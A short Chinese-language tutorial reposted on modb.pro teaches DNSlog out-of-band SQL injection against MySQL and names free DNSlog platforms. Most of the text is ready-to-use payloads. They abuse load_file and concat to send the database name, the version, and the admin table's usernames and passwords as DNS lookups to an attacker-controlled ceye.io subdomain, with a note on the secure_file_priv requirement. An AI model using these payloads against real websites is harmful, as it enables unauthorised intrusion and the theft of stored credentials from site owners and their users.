无回显注入 ,一般使用布尔型盲注入和延时注入 查询数据,但是这两种查询都是很慢,dnslog查询 因为是直接显示数据,这种注入效率较高。


平台

http://ceye.io 

http://dnslog.cn/

免费的dnslog平台


实战mysql数据库

查询库当前库

SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,0)

查询数据版本

SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select VERSION()),'.xxx.ceye.io\\abc'))),1,0)

查询admin表的帐号和密码

php?id=1 and if((select load_file(concat('\\\\',(select password from admin ),'.xxx.ceye.io\\abc'))),1,0)
php?id=1 and if((select load_file(concat('\\\\',(select username from admin ),'.xxx.ceye.io\\abc'))),1,0)

load_file 使用这个函数 必须 在mysql开启 secure_file_prv 设置可以读取,方可使用这个函数。



文章转载自zero1安全笔记,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论